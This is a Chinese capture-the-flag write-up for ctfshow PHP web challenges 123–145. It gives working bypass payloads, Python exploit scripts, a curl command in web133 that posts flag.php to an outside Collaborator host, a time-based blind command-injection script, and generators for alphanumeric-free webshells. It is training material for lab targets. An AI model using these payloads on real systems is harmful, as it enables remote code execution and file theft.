      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: Firebasky
      # @Date: 2020-09-16 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-10-01 15:08:19

      */

      include('flag.php');
      highlight_file(__FILE__);
      error_reporting(0);
      function filter($num){
      $num=str_replace("0x","1",$num);
      $num=str_replace("0","1",$num);
      $num=str_replace(".","1",$num);
      $num=str_replace("e","1",$num);
      $num=str_replace("+","1",$num);
      return $num;
      }
      $num=$_GET['num'];
      if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
      if($num=='36'){
      echo $flag;
      }else{
      echo "hacker!!";
      }
      }else{
      echo "hacker!!!";
      } hacker!!!

      filter函数限制了使用八进制或者十六进制绕过,且还有一个trim函数的限制

      后面比较时用的是弱类型

      写脚本跑一下哪些字符可以绕过if

      1
      2
      3
      4
      5
      6
      7
      <?php
      for ($i=0;$i <= 128; $i++){
      $a = chr($i).'36';
      if(trim($a) !=='36' && is_numeric($a)){
      echo urlencode(chr($i))."\n";
      }
      }

      image.png{:height 496, :width 355}

      1
      num=%0c36
  • web123. 突破函数禁用 post get传参 变量名特性

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: Firebasky
      # @Date: 2020-09-05 20:49:30
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-07 22:02:47
      # @email: h1xa@ctfer.com
      # @link: https://ctfer.com

      */
      error_reporting(0);
      highlight_file(__FILE__);
      include("flag.php");
      $a=$_SERVER['argv'];
      $c=$_POST['fun'];
      if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
      if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
      eval("$c".";");
      if($fl0g==="flag_give_me"){
      echo $flag;
      }
      }
      }
      ?>

      if语句过程体中存在eval代码执行,可以直接echo出flag.php的变量

      需要考虑设置好post参数CTF_SHOW/CTF_SHOW.COM

      特性1:被get或者post传入的变量名,如果含有 空格、+、[ 则会被转化为 _

      特性2:就是如果传入 [ ,它被转化为 _ 之后,后面的字符就会被保留下来不会被替换

      1
      CTF[SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
  • web125. php特性

    • 题面如下,多加了一些关键词限制 无法使用echo了

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: Firebasky
      # @Date: 2020-09-05 20:49:30
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-07 22:02:47
      #
      #
      */
      error_reporting(0);
      highlight_file(__FILE__);
      include("flag.php");
      $a=$_SERVER['argv'];
      $c=$_POST['fun'];
      if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
      if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
      eval("$c".";");
      if($fl0g==="flag_give_me"){
      echo $flag;
      }
      }
      }
      ?>

      这里构造的也比较巧妙,首先我们可以直接读文件,利用highlight_file

      其次由于flag关键字被ban,所以可以通过引入get传参的方式来绕过正则匹配

      1
      2
      CTF[SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])
      GET: 1=flag.php
  • web126. php特性 $_SERVER

    • 题面如下,还按照单个字符进行了过滤。。。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: Firebasky
      # @Date: 2020-09-05 20:49:30
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-07 22:02:47
      #
      #
      */
      error_reporting(0);
      highlight_file(__FILE__);
      include("flag.php");
      $a=$_SERVER['argv'];
      $c=$_POST['fun'];
      if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
      if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
      eval("$c".";");
      if($fl0g==="flag_give_me"){
      echo $flag;
      }
      }
      }

      还能利用的有eval

      这里用到了$_SERVER['argv']

      image.png

      也就是GET传参,会在该数组中留下一个键值对形式的查询参数

      所以可以通过server传入代码,然后通过$c实现命令执行

      1
      2
      3
      4
      构造恶意代码,利用$fl0g
      GET: $fl0g=flag_give_me;
      POST:
      CTF[SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
  • web127. php特性

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-10-10 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-10-10 21:52:49

      */


      error_reporting(0);
      include("flag.php");
      highlight_file(__FILE__);
      $ctf_show = md5($flag);
      $url = $_SERVER['QUERY_STRING'];


      //特殊字符检测
      function waf($url){
      if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
      return true;
      }else{
      return false;
      }
      }

      if(waf($url)){
      die("嗯哼?");
      }else{
      extract($_GET);
      }


      if($ctf_show==='ilove36d'){
      echo $flag;
      }

      QUERY_STRING: query string(查询字符串),如果有的话,通过它进行页面访问

      1
      2
      3
      4
      extract(array &$array, int $flags = EXTR_OVERWRITE, string $prefix = ""): int
      本函数用来将变量从数组中导入到当前的符号表中。
      检查每个键名看是否可以作为一个合法的变量名,同时也检查和符号表中已有的变量名的冲突
      如果有冲突,覆盖已有的变量。

      直接覆盖即可,对于变量名ctf_show,_用空格进行替换

      1
      ctf%20show=ilove36d
  • web128. 骚操作 gettext拓展

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-10-10 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-10-12 19:49:05

      */


      error_reporting(0);
      include("flag.php");
      highlight_file(__FILE__);

      $f1 = $_GET['f1'];
      $f2 = $_GET['f2'];

      if(check($f1)){
      var_dump(call_user_func(call_user_func($f1,$f2)));
      }else{
      echo "嗯哼?";
      }



      function check($str){
      return !preg_match('/[0-9]|[a-z]/i', $str);
      } NULL

      check中过滤了字母和数字,使得回调函数不能为数字或字母

      call_user_func: 把第一个参数作为回调函数,其余参数都是回调函数的参数

      这里利用了gettext拓展

      image.png

      也就是gettext()等价于_()

      Returns a translated string if one is found in the translation table, or the submitted message if not found

      所以可以当作 echo 来使用

      所以第一层可以回显一个变量或者类似全局变量函数出来,利用第二层的call_user_func来执行或查看

      这里需要利用get_defined_vars

      get_defined_vars ( void ) : array 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

      1
      f1=_&f2=get_defined_vars
  • web129. 常规操作

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-10-13 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-10-13 03:18:40

      */


      error_reporting(0);
      highlight_file(__FILE__);
      if(isset($_GET['f'])){
      $f = $_GET['f'];
      if(stripos($f, 'ctfshow')>0){
      echo readfile($f);
      }
      }

      关注stripos

      读取函数的参数中必须包含ctfshow

      这里可以试一下远程文件包含,不过好像必须以文件形式返回的php内容才会被解析

      1
      ?f=http://url/xxxx.txt?ctfshow

      也可以用php伪协议,因为过滤器支持自定义,我们可以胡写一个上去

      1
      ?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
  • web130. very very very(省略25万个very)ctfshow 正则最大回溯

    • 题面如下,preg_match中s模式下可匹配换行符

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-10-13 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-10-13 05:19:40

      */


      error_reporting(0);
      highlight_file(__FILE__);
      include("flag.php");
      if(isset($_POST['f'])){
      $f = $_POST['f'];

      if(preg_match('/.+?ctfshow/is', $f)){
      die('bye!');
      }
      if(stripos($f, 'ctfshow') === FALSE){
      die('bye!!');
      }

      echo $flag;

      }

      stripos对大小写不敏感

      1
      2
      PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
      回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false

      非预期:直接传参ctfshow,正则由于前面没匹配到字符,所以返回False;后面定位子串时返回位置0,由于强类型比较导致也不满足条件

      预期:正则最大回溯,也就是只要能疯狂回溯就可。也就是使得前面非贪婪模式匹配到的字符达到上限

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      #coding=gbk
      import requests

      url = "http://f314e484-452e-4810-a89e-e96ef16748df.challenge.ctf.show/"

      data = {
      'f': "dotast"* 170000 + 'ctfshow'
      }

      r = requests.post(url, data=data)
      print(r.text)
  • web131. very very very(省略25万个very)ctfshow

    • 题面如下,这回直接打的非预期已经没了,因为.+?已经可以匹配到前缀

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-10-13 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-10-13 05:19:40

      */


      error_reporting(0);
      highlight_file(__FILE__);
      include("flag.php");
      if(isset($_POST['f'])){
      $f = (String)$_POST['f'];

      if(preg_match('/.+?ctfshow/is', $f)){
      die('bye!');
      }
      if(stripos($f,'36Dctfshow') === FALSE){
      die('bye!!');
      }

      echo $flag;

      }

      还是上一关的正则ddos直接打到正则回溯上限

  • web132. 为什么会这样? 信息泄漏&&优先级问题

    • 题面成了一个模版网站

      image.png

      常规从robots.txt中找,/admin返回了题面…. 花里胡哨

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-10-13 06:22:13
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-10-13 20:05:36
      # @email: h1xa@ctfer.com
      # @link: https://ctfer.com

      */

      #error_reporting(0);
      include("flag.php");
      highlight_file(__FILE__);


      if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
      $username = (String)$_GET['username'];
      $password = (String)$_GET['password'];
      $code = (String)$_GET['code'];

      if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

      if($code == 'admin'){
      echo $flag;
      }

      }
      }
      1
      mt_rand(int $min, int $max): int 生成更好的随机数

      这里其实有个优先级绕过问题,即在不加括号的情况下,||优先级是低于&&

      所以会导致前面俩比较返回true,后面返回true,然后直接就绕过了,并且参数全部可控

      1
      code=admin&username=admin&password=1
  • web133. 为什么会这样 curl外带

    • 还是直接给了题面

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: Firebasky
      # @Date: 2020-10-13 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-10-13 16:43:44

      */

      error_reporting(0);
      highlight_file(__FILE__);
      //flag.php
      if($F = @$_GET['F']){
      if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
      eval(substr($F,0,6));
      }else{
      die("6个字母都还不够呀?!");
      }
      }

      ban了几个命令执行函数,并且限制了输入长度

      首先,直面来看我们能利用的命令执行函数只有``,但是没有回显。其次长度有限,但是我们知道传参变量为$F

      1
      2
      3
      4
      5
      我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
      那为什么会这样?
      因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
      而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
      ``$F`;+sleep 3`,就执行成功

      所以接下来就是带出回显数据

      可以利用curl命令向制定网站发送文件数据

      这里借用burp的Collaborator client进行数据的外带

      1
      2
      payload:
      ?F=`$F`;+curl -X POST -F xx=@flag.php http://bapltp9pue295xitue0e4pwm1d73vs.burpcollaborator.net

      image.png{:height 449, :width 602}

  • web134. 为什么会那样 parse_str 变量覆盖

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: Firebasky
      # @Date: 2020-10-13 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-10-14 23:01:06

      */

      highlight_file(__FILE__);
      $key1 = 0;
      $key2 = 0;
      if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
      die("nonononono");
      }
      @parse_str($_SERVER['QUERY_STRING']);
      extract($_POST);
      if($key1 == '36d' && $key2 == '36d') {
      die(file_get_contents('flag.php'));
      }
      1
      2
      3
      4
      5
      parse_str(string $string, array &$result): void
      如果 string 是 URL 传递入的查询字符串(query string),
      则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )
      极度不建议在没有 result 参数的情况下使用此函数, 并且在 PHP 7.2 中将废弃不设置参数的行为。
      PHP 8.0.0 起,result 参数是强制的。

      对于parse_str(),如果传入的是一个数组,例如arr[]=1,则会将变量保存在数组当中arr[0]=1;

      extract又能将数组中的键值对放入符号表。因此直接传数组即可绕过参数限制

      extract的入参点为$_POST变量,因此

      1
      ?_POST[key1]=36d&_POST[key2]=36d
  • web135. web133plus

    • 题面如下,这次把curl给ban了,而且限制了更多的命令执行函数

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: Firebasky
      # @Date: 2020-10-13 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-10-16 18:48:03

      */

      error_reporting(0);
      highlight_file(__FILE__);
      //flag.php
      if($F = @$_GET['F']){
      if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
      eval(substr($F,0,6));
      }else{
      die("师傅们居然破解了前面的,那就来一个加强版吧");
      }
      }

      cp命令没有被ban。。。这确实想不到

      1
      ?F=`$F`;+cp flag.php 1.txt
  • web136.

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      <?php
      error_reporting(0);
      function check($x){
      if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
      die('too young too simple sometimes naive!');
      }
      }
      if(isset($_GET['c'])){
      $c=$_GET['c'];
      check($c);
      exec($c);
      }
      else{
      highlight_file(__FILE__);
      }
      ?>

      exec是仅回显最后一行需要结合echo的,所以这里一般是输出到另外一个文件 cp被ban了,但是还有tee

      image.png

      1
      2
      3
      tee
      tee a.txt b.txt,将a.txt复制到b.txt
      ls | tee b.txt,将ls命令的执行结果写入b.txt

      管道符没有被ban, 接下来是考虑文件名的问题

      先扫一下目录,当前目录只有一个index.php,看下根目录

      1
      2
      ls /| tee racerz
      出现文件 f149_15_h3r3

      然后读就完了

      1
      tac /f149_15_h3r3 | tee racerz
  • web137. 没有难度

    • 题面如下,有个静态方法在类ctfshow中,限制了不能去new,直接::调用即可

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-10-13 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-10-16 22:27:49

      */

      error_reporting(0);
      highlight_file(__FILE__);
      class ctfshow
      {
      function __wakeup(){
      die("private class");
      }
      static function getFlag(){
      echo file_get_contents("flag.php");
      }
      }



      call_user_func($_POST['ctfshow']);
      1
      ctfshow=ctfshow::getFlag
  • web138. 一丢丢难度

    • 题面如下,这关把命名作用符给ban了

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-10-13 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-10-16 22:52:13

      */

      error_reporting(0);
      highlight_file(__FILE__);
      class ctfshow
      {
      function __wakeup(){
      die("private class");
      }
      static function getFlag(){
      echo file_get_contents("flag.php");
      }
      }

      if(strripos($_POST['ctfshow'], ":")>-1){
      die("private function");
      }

      call_user_func($_POST['ctfshow']);

      call_user_func还支持传数组的方式去调用类方法,不过注意不是键值对的方式,而是数组内元素的方式传递

      image.png{:height 309, :width 397}

      1
      ctfshow[0]=ctfshow&ctfshow[1]=getFlag
  • web139. 没变化吗 shell编程和盲注

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      <?php
      error_reporting(0);
      function check($x){
      if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
      die('too young too simple sometimes naive!');
      }
      }
      if(isset($_GET['c'])){
      $c=$_GET['c'];
      check($c);
      exec($c);
      }
      else{
      highlight_file(__FILE__);
      }
      ?>

      这关把cp给ban了

      这关已经没有了写入权限,并且访问任意路由都会回显当前页面…

      截取字符串可以用awk等命令,cut可以分割字符
      判断命令执行结果可以用shell编程的if语句和sleep()函数

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      awk

      NR 已读的记录数

      cut

      -c 仅显示行中指定范围的字符
      结合shell编程
      if
      if [ command ]; then
      符合该条件执行的语句
      fi
      sleep

      构造
      if [`ls / | awk NR=? | cut -c ?` == ?]; then sleep 2;fi
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      #coding=gbk
      import requests

      url = "http://ef27492e-3306-46a8-b9bd-2c76841396c4.challenge.ctf.show/"
      result = ""
      for i in range(1, 5):
      for j in range(1, 15):
      for k in range(32, 128):
      k = chr(k)
      payload = "?c=" + f"if [`ls / | awk NR=={i} | cut -c {j}` == {k}]; then sleep 2;fi"
      try:
      r = requests.get(url=url+payload, timeout=1.8)
      except:
      result += k
      print(result)
      break
  • web140. 没有难度

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-10-13 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-10-17 12:39:25

      */

      error_reporting(0);
      highlight_file(__FILE__);
      if(isset($_POST['f1']) && isset($_POST['f2'])){
      $f1 = (String)$_POST['f1'];
      $f2 = (String)$_POST['f2'];
      if(preg_match('/^[a-z0-9]+$/', $f1)){
      if(preg_match('/^[a-z0-9]+$/', $f2)){
      $code = eval("return $f1($f2());");
      if(intval($code) == 'ctfshow'){
      echo file_get_contents("flag.php");
      }
      }
      }
      }

      传参变量限制内容为字母数字,并且拼接形成一个方法执行后的返回值赋值给code,code判断经intval后的整数值是否等于0(因为这里是一个弱比较)。因此左面也只要是一个非数字字符串即可,哈希函数就可以满足要求

      1
      2
      POST:
      f1=md5&f2=md5
  • web141. 难度无 无字母数字的webshell

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-10-13 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-10-17 19:28:09

      */

      #error_reporting(0);
      highlight_file(__FILE__);
      if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
      $v1 = (String)$_GET['v1'];
      $v2 = (String)$_GET['v2'];
      $v3 = (String)$_GET['v3'];

      if(is_numeric($v1) && is_numeric($v2)){
      if(preg_match('/^\W+$/', $v3)){
      $code = eval("return $v1$v3$v2;");
      echo "$v1$v3$v2 = ".$code;
      }
      }
      }

      v1和v2限制了只能为数字,而v3被限制了只能为非数字字母以及下划线的字符串,三个组合拼接执行代码并赋值给code,后面输出

      关于无数字字母的webshell 还是看P神https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

      总的思想就是通过非数字字母字符的相互运算,如异或,取反,自增从而获得可见字符,进而拼凑出shell来

      这里给一个异或脚本

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      # coding=gbk

      import re


      # 生成可用的字符
      def write_rce():
      result = ''
      for i in range(256):
      for j in range(256):
      # 这里比较坑 题面写的是\w+ 不应该多一个下划线吗? 多一个就出不了((
      if not (re.match('[a-zA-Z0-9]', chr(i), re.I) or re.match(r'[a-zA-Z0-9]', chr(j), re.I)):
      k = i ^ j
      if k >= 32 and k <= 126:
      # url编码
      a = '%' + hex(i)[2:].zfill(2)
      b = '%' + hex(j)[2:].zfill(2)
      result += (chr(k) + ' ' + a + ' ' + b + '\n')
      with open('result.txt', 'w') as f:
      f.write(result)

      # 根据想要的命令在生成的txt中进行匹配
      def action(arg):
      s1 = ""
      s2 = ""
      for i in arg:
      f = open('result.txt', 'r')
      while True:
      t = f.readline()
      if t == "":
      break
      if t[0] == i:
      s1 += t[2:5]
      s2 += t[6:9]
      break
      f.close()
      output = "(\"" + s1 + "\"^\"" + s2 + "\")"
      return output

      if __name__ == "__main__":
      write_rce()
      s1 = input("your function: ")
      s2 = input("your command:")
      print(s1)
      print(s2)
      r = action(s1) + action(s2)
      print(r)

      接下来还需要考虑的就是构造的执行函数前后会有数字的干扰

      正常执行

      image.png

      前面加数字会直接爆语法错误,然后发现前面再加上* + -就没影响;后面可以直接;闭合(后面加* + -也可以)

      image.png

      1
      2
      3
      4
      # ls
      v1=1&v2=2&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");
      # tac flag.php

  • web 142. 难度0

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-10-13 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-10-17 19:36:02

      */

      error_reporting(0);
      highlight_file(__FILE__);
      if(isset($_GET['v1'])){
      $v1 = (String)$_GET['v1'];
      if(is_numeric($v1)){
      $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
      sleep($d);
      echo file_get_contents("flag.php");
      }
      }

      $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d)之后会沉睡

      直接令v1等于0不就完了…

  • web 143. 141的plus版本

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-10-13 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-10-18 12:48:14

      */

      highlight_file(__FILE__);
      if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
      $v1 = (String)$_GET['v1'];
      $v2 = (String)$_GET['v2'];
      $v3 = (String)$_GET['v3'];
      if(is_numeric($v1) && is_numeric($v2)){
      if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
      die('get out hacker!');
      }
      else{
      $code = eval("return $v1$v3$v2;");
      echo "$v1$v3$v2 = ".$code;
      }
      }
      }

      这里ban了更多符号,但是异或符号还是没ban,这里要说明一下%虽然在黑名单上,但是我们实际利用时传的是url编码,之后会被解码所以并未受影响

      用原来的脚本即可,只是需要增加一些非法字符

      image.png

      1
      2
      3
      4
      # ls
      v1=1&v2=2&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*
      # tac flag.php
      v1=1&v2=2&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")*
  • web 144. 143的plus版本

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-10-13 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-10-18 16:21:15

      */

      highlight_file(__FILE__);
      if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
      $v1 = (String)$_GET['v1'];
      $v2 = (String)$_GET['v2'];
      $v3 = (String)$_GET['v3'];

      if(is_numeric($v1) && check($v3)){
      if(preg_match('/^\W+$/', $v2)){
      $code = eval("return $v1$v3$v2;");
      echo "$v1$v3$v2 = ".$code;
      }
      }
      }

      function check($str){
      return strlen($str)===1?true:false;
      }

      其实是在web141的基础上增加了一个check函数,里面会限制v3变量内容的长度为1

      同时对v3的黑名单限制改到了对v2的限制,那么调整一下传参变量即可

      1
      2
      3
      4
      # ls
      v1=1&v3=2&v2=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b")
      # tac flag.php
      ?v1=1&v3=2&v2=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")
  • web145. 144的plus版本

    • 题面如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-10-13 11:25:09
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-10-18 17:41:33

      */


      highlight_file(__FILE__);
      if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
      $v1 = (String)$_GET['v1'];
      $v2 = (String)$_GET['v2'];
      $v3 = (String)$_GET['v3'];
      if(is_numeric($v1) && is_numeric($v2)){
      if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
      die('get out hacker!');
      }
      else{
      $code = eval("return $v1$v3$v2;");
      echo "$v1$v3$v2 = ".$code;
      }
      }
      }

      这次限制了异或运算,但是取反、自增、或运算这些都还可以

      这里学习一下取反脚本

      1
      2
      3
      4
      5
      6
      7
      8
      9
      <?php

      fwrite(STDOUT, "[+]your function: ");
      $function = str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

      fwrite(STDOUT, "[+]your command: ");
      $command = str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

      echo '(~'.urlencode(~$function).')(~'.urlencode(~$command).');';

      对于前后数字的绕过,虽然+ - *都被ban了,但是|也可以

      image.png{:height 194, :width 513}

      1
      2
      3
      4
      # ls
      v1=1&v2=2&v3=| (~%8C%86%8C%8B%9A%92)(~%93%8C)|
      # tac flag.php
